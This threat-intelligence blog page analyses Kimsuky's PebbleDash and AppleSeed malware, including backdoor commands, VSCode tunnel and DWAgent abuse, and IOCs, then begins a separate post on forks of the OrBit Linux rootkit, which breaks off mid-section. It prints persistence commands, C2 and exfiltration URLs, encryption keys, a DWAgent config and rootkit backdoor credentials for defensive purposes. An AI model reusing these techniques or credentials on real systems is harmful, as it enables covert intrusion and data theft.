Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Command Description
“mcd” Set the current directory
“msleep” Sleep for the provided time
“install” Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command] Execute the provided command using chcp 65001 > nul & cmd /U /C [command]

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

  • result send fail (grammatically incorrect text)
  • server request fail (grammatically incorrect text)
  • command execute failed (grammatically incorrect text)
  • decrytion failed (typos)
  • autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

  • (PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
  • (PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
  • (PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
  • (PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
  • (AppleSeed cluster) Use of the m= parameter in C2 communication.
  • (AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Value of elevation status Description
0 Running under the SYSTEM account with an elevated token
1 Running under an elevated administrator account
2 Running without elevation

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

Windows commands used to gather system details

Windows commands used to gather system details

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

Value Description
1 Send the session identifier (parameter s) along with the current state (parameter a)
2 Request command
3 Send result after executing the command (parameter d)
8 Request directory to be archived and sent
9 Send the archived directory
10 Send a message like “.cmd” or “.tmp” (parameter d)
11 Send ping
12 Send the captured screenshot (parameter d)
13 Send the infected device information (parameter d)

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

Structure of the ChaCha20-encrypted data blob

Structure of the ChaCha20-encrypted data blob

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

Value Description
0 httpMalice has been activated
1 httpMalice has been inactivated (upon command 9)
2 httpMalice has been removed (upon command 8)

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

C2 communication sequence of httpMalice

C2 communication sequence of httpMalice

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

Command Description
0 Do nothing
1 Execute the command with EUC-KR encoding
2 Download and extract the file to the infected device
3 Upload a directory to the C2 server after it has been archived
5 Get the current directory
6 Set the current directory
7 Execute the command without setting a EUC-KR character set
8 Remove its persistence traces and exit the process
9 Hibernate
10 Execute the command using the provided session ID
12 Capture the screen
13 Load the downloaded payload into memory

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

  1. Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
  2. Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
  3. Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
  4. C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
  5. Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

Updated AppleSeed infection chain

Updated AppleSeed infection chain

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

Out.txt content

Out.txt content

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

Number Installer type VSCode version Download source
1 Written in JScript VSCode CLI 1.106.3 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/bf9252a2fb45be6893dd8870c0bf37e2e1766d61/vscode_cli_win32_x64_cli[.]zip
2 Written in Go VSCode CLI 1.106.2 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/1e3c50d64110be466c0b4a45222e81d2c9352888/vscode_cli_win32_x64_cli[.]zip

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

  1. Executes code.exe tunnel.
  2. Searches for the “Microsoft Account” string in the stdout.
  3. Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
  4. Searches for the “use code” string in the stdout.
  5. Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
  6. Searches for the “What would you like to call this machine?” string in the stdout.
  7. Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
  8. Searches for the “https://vscode.dev/tunnel/” string in the stdout.
  9. Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Creating a tunnel using VSCode CLI

Creating a tunnel using VSCode CLI

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

  • c:\programdata\dwagent\native\dwagsvc.exe installService
  • c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c                       security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9                      secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7                      대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108          jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb        c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0                      xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr                         C2 of HappyDoor
erp.spaceme.p-e[.]kr                          C2 of HappyDoor

file.bigcloud.n-e[.]kr                            C2 of httpTroy
load.auraria[.]org                                C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

  •  

OrBit (Re)turns: Tracking an open-source Linux rootkit across four years of forks and deployments

In July 2022, we published the first analysis of OrBit, a then-undocumented Linux userland-rootkit that stood out for its comprehensive libc hooking, SSH backdoor access, and PAM-based credential harvesting. At the time, OrBit appeared as a single sample with a single operator fingerprint, and the codebase itself looked customized.

It wasn’t. As we will show below, OrBit is a repackaged and selectively weaponized build of Medusa, an open-source LD_PRELOAD rootkit published on GitHub in December 2022. The story of OrBit’s four-year evolution is not one of novel development; it’s the story of how a publicly available rootkit was forked, configured, and redeployed.

Nearly four years later, OrBit is still in the wild, and it has not stood still. Hunting across VirusTotal, we pulled more than a dozen samples spanning 2022 through 2026 and walked each one through static and differential analysis. We discovered two parallel lineages: a full-featured “Lineage A” build that tracks closely with the 2022 original, and a lite “Lineage B” fork that drops entire capability domains (PAM, pcap, TCP-port hiding) in exchange for a smaller footprint. Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks, and eventually bolt on a service-side PAM impersonation primitive.

This blog picks up where the 2022 analysis left off. We focus on what changed, when, and why it matters for defenders. For each epoch, we enumerate the samples, call out the lineage, and break down the meaningful changes: credential changes, hook-set diffs, new evasion behavior, and operator tradecraft.

Background: What is OrBit?

For readers unfamiliar with the original analysis, OrBit is a Linux userland-rootkit deployed as a shared library (.so) that achieves persistence by patching the dynamic linker, specifically modifying ld.so to ensure the malicious library is loaded into every process on the system. It operates as a passive implant with no command-and-control communication; instead, the attacker connects in through an SSH backdoor. Once installed, OrBit hooks into PAM functions to harvest credentials from SSH and sudo authentication attempts, storing the captured passwords locally.

Its evasion capabilities are comprehensive, hooking over forty libc functions to hide files, processes, and network connections from administrators and security tools alike. The malware stores its harvested credentials and configuration data in /lib/libntpVnQE6mk/, a directory that remains invisible to standard enumeration thanks to the rootkit’s own hooks.

July 2022

Hash XOR Working dir SSH Username SSH Password # Exports # Hooks Dropper
40b5127c 0xA2 /lib/libntpVnQE6mk/ 2l8 c4ss0ul3tt3 66 54 f1612924

We will refer to this variant as Lineage A “Full” build of OrBit.

OrBit variants through the years

In our research, we collected samples from VirusTotal. Unlike PE files, ELF files don’t include a compilation timestamp, so we started by aggregating the samples by the date they were submitted to VirusTotal. To track the samples on the blog, we use the first 8 characters of each sample’s SHA-256. At the bottom of the blog, you can find the full list of IOCs.

December 2022

The first version shows a slight change: the username and password for the SSH connection, and the exported functions. Credential mechanism shift: 40b5127c resolved the backdoor username dynamically via the getpwuid hook; ec7462c3 dropped that hook entirely and hardcodes adm1n directly in the XOR-encrypted string table. The working folder was changed to libseconf. For the most part, the later variants will use this path.

All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding (alloc_tcp_ports/remove_port/tcp_port_hidden), load monitoring (.showload/.maxload), pcap sniffing, LD_PRELOAD management, log suppression, and process hiding.

The transition from 2022 to 2023 is essentially a redeployment with new credentials and a more convincing install path, plus a minor simplification (dropping dynamic UID lookup in favor of a hardcoded username).

The rootkit’s hook surface stayed stable.

Hash XOR Working dir Username Password Exports # Hooks Dropper
ec7462c3 0xA2 /lib/libseconf/ adm1n asdfasdf 67 53 8ea420d9

Samples From 2023

Hash XOR Working dir Username Password Exports # Hooks Dropper
d419a9b1 0xA2 /lib/fuckwhitehatshome/ fuckwhitehatsuser fuckwhitehatspass 67 53
296d28eb 0xA2 /lib/libseconf/ adm1n asdfasdf 65 54
3ba6c174 0xA2 /lib/libseconf/ adm1n (not present) 54 49 26082cd3
4203271c 0xA2 /lib/libseconf/ b4ph0m3t0 (not present) 54 49

The d419a9b1 sample stands out for the operator’s choice of the install path (/lib/fuckwhitehatshome/) and the SSH username and password. No other known samples use these strings, suggesting a different operator or persona authored this particular build rather than it simply being a different deployment of the same toolkit. Functionally, it carries the full 2022-era hook set, with 65 exports.

The 296d28eb sample is a full-featured build that uses the libseconf path and the same SSH credentials as ec7462c3. But this sample also has an evolutionary step: dropped TCP port hiding, added the exported xread function. This is not an LD_PRELOAD hook on a system library; it’s a wrapper that calls syscall(SYS_read) directly, bypassing the rootkit’s own hooked read().

The rootkit hooks the libc read() function; the hook filters out rootkit artifacts from files such as/proc/net/tcp and directory listings. Some C programs, such as Git, define their own internal
xread() helper that wraps read() to handle partial reads and EINTR. Normally, these internal helpers call libc read(), which the rootkit intercepts and filters. By exporting its own xread, which directly calls syscall (SYS_read), the rootkit shadows these program-internal helpers with a version that bypasses its own read hook entirely. This is a compatibility fix: without it, any program that defines xread would receive the rootkit’s filtered output through its core I/O path, potentially corrupting SSH protocol streams, breaking git operations, or causing other malfunctions that could expose the rootkit’s presence. The hook ensures that programs continue to function normally while the rootkit’s read interception remains active for standard libc callers.

This variant is still part of Lineage A.

00417249    uint64_t xread(int32_t fd, int64_t buf, int32_t count)

00417249    {
00417249        int32_t i = count;
0041725b        int32_t bytes_read = 0;
00417262        int32_t var_c = 0;
00417262        
004172ad        do
004172ad        {
0041728a            // SYS_read
0041728a            int32_t read_result = syscall(0, (uint64_t)fd, buf, (uint64_t)i);
0041728a            
00417296            if (read_result <= 0) 00417298 return (uint64_t)bytes_read; 00417298 004172a0 bytes_read += read_result; 004172a6 i -= read_result; 004172ad } while (i > 0);
004172ad        
004172af        return (uint64_t)bytes_read;
00417249    }

           The exported xread function in sample 296d28eb

3ba6c174 / 4203271c: Lineage B lite build

Both files, 3ba6c174 and 4203271c, represent the first appearance of Lineage B, a deliberately lite fork of the OrBit rootkit. Both are dynamically linked shared objects using the standard 0xA2 XOR key and installed in /lib/libseconf/, but they export only 54 functions, compared to the 67 in their closest Lineage A contemporaries (d419a9b1, ec7462c3). The 13 removed exports strip out three entire capability domains: network port-hiding (alloc_tcp_ports, remove_port, tcp_port_hidden, clean_ports), PAM credential interception (pam_authenticate, pam_acct_mgmt, pam_open_session, pam_get_password), and packet capture (pcap_loop, pcap_packet_callback). The string table reflects this (.logpam and .udp are absent), though .ports, .hosts, and sshpass2.txt are retained. This reduced feature set suggests they were purpose-built for different target environments where a smaller footprint or more limited functionality was either sufficient or preferred.

The most notable change is the complete absence of a backdoor password. Every Lineage A sample embeds a password in its XOR-encrypted string block, but in both 3ba6c174 and 4203271c, the password field is missing. Each sample carries a distinct username (adm1n and b4ph0m3t0, respectively), and these are the only byte-level differences between the two binaries. This pattern of 54 exports, no password, no PAM/pcap hooks, held consistent across all subsequent Lineage B samples through 2024.

Samples From 2024

Hash XOR Working dir Username Password Exports # Hooks Dropper
eea274ed 0xAA /lib64/libseconf/ Y0u4reCu6e 1qaz@WSX3edc123 66 54
a6138638 0xAA /lib/locate/ Y0u4reCu6e 1qaz@WSX3edc123 66 54
a34299a1 0xA2 /lib/libseconf/ rebel (not present) 56 49
b1dd18a6 0xA2 /lib/libseconf/ Gestuff (not present) 54 49 fc2e0cb6
989f7eb4 0xA2 /lib/libseconf/ adm1n (not present) 54 49 48a68d05

2024 is the most diverse epoch in OrBit’s timeline, with both lineages active simultaneously and an encryption key change in the Lineage A branch.

eea274ed / a6138638: Lineage A, 0xAA key rotation

These two samples belong to the same lineage: identical XOR key (0xAA is a break from the long-standing 0xA2), identical credentials (Y0u4reCu6e / 1qaz@WSX3edc123), and identical hook count (54). The only structural difference is the install path: /lib64/libseconf/ versus /lib/locate/. This is probably a deliberate path rotation to evade detections anchored on the previously documented /lib/libseconf/ directory. Credentials are stored inline in the XOR-encrypted block rather than written to sshpass.txt, representing a shift in the credential storage model. Both samples also have a reduced hook for the’ execve’ function: the execve hook handles persistence maintenance (apt/yum), output sanitization (dmesg), and ldd defeat. Compared to other samples in the lineage, it is a reduced feature set: no strace interception, no IP/iptables hooks, no command logging.

Despite sharing the same hook count, the two samples do not share the same hook set. a6138638 swaps read/write for readdir_r/readdir64_r, indicating a targeted adjustment to the directory-hiding mechanism. A string-level diff reveals more changes: 

  • Credential harvesting is saved in remote.txt.
  •  This variant captures only SSH logins, not sudo sessions ([sudo] pass is missing).

The result is 52 decoded XOR strings in eea274ed versus 47 in a6138638. Both samples retain .udp, .pts, and the credential pair, preserving the core backdoor functionality. The removals target logging and forensic-capture features, suggesting a6138638 was tailored for a deployment where a lighter footprint was preferred.

a34299a1 / b1dd18a6 / 989f7eb4: Lineage B continuation

